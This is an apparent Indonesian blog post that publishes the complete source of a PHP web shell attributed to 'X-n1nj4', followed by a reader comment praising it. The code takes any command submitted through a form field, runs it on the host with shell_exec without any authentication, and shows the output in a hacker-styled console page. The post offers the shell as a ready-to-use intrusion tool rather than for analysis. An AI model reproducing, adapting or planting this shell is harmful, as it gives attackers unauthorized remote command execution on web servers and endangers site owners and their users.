Beranda > Documents > Simple PHP Shell By X-n1nj4

Simple PHP Shell By X-n1nj4

<?php

# # # # # ## # ## # ## # ## # ## ######

# author : X-N1nj4 # ________________#

# web : http://forum.itclublombok.org _#

#############################

$lastcommand = (isset($_POST[‘cmd’])) ? $_POST[‘cmd’] : ”;

$console = (isset($_POST[‘console’])) ? base64_decode($_POST[‘console’]) : ”;

if (strlen($console) > 1024) $console = substr($console, 512);

if($lastcommand != ”) {

if(!$stdout = shell_exec($lastcommand)) {

$console = $console . “\n” . “$lastcommand >!\n $stdout”;

} else {

$console = $console . “\n” . “$lastcommand>\n $stdout”;

}

}

?>

<html>

<head>

<title>x-n1nj4 shell</title>

<script>

function fokus()

{

form.cmd.focus();

}

</script>

<style>

<!–

body,td,th {

font-family: Verdana, Arial, Helvetica, sans-serif;

color: #FFFFFF;

}

body {

background-color: #000000;

}

#console { background-color:#333333; color:#FFFFFF; float:left; font:Verdana, Arial, Helvetica, sans-serif; width:80%; height:40%}

#cmd { background-color:#333333; color:#FFFFFF; float:left; width:80%;}

.style1 { color:#FFFFFF; font-size:100px;}

–>

</style></head>

<? if ($_POST[‘cmd’]==’clear’)

$consule=”;?>

<body>

<p align=”center” class=”style1″>X-N1NJ4 SYSTEM </p>

</p>

(<a href=”index.php”>clear</a> )

<center>

<form method=”post” action=”” name=”form”>

<p >

<input value=”<?php echo(base64_encode($console));?>”>

<textarea cols=”” rows=”” readonly>

<?php echo $console; ?></textarea> </p>

<p>

<input id=”cmd”>

</p>

<p>&nbsp;</p></form>

</center></body></html>

Kategori:Documents
  1. Hendra_Ballonk
    25 November 2010 pukul 2:00 pm

    wooiiiih….keren Om

  1. No trackbacks yet.

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

%d blogger menyukai ini: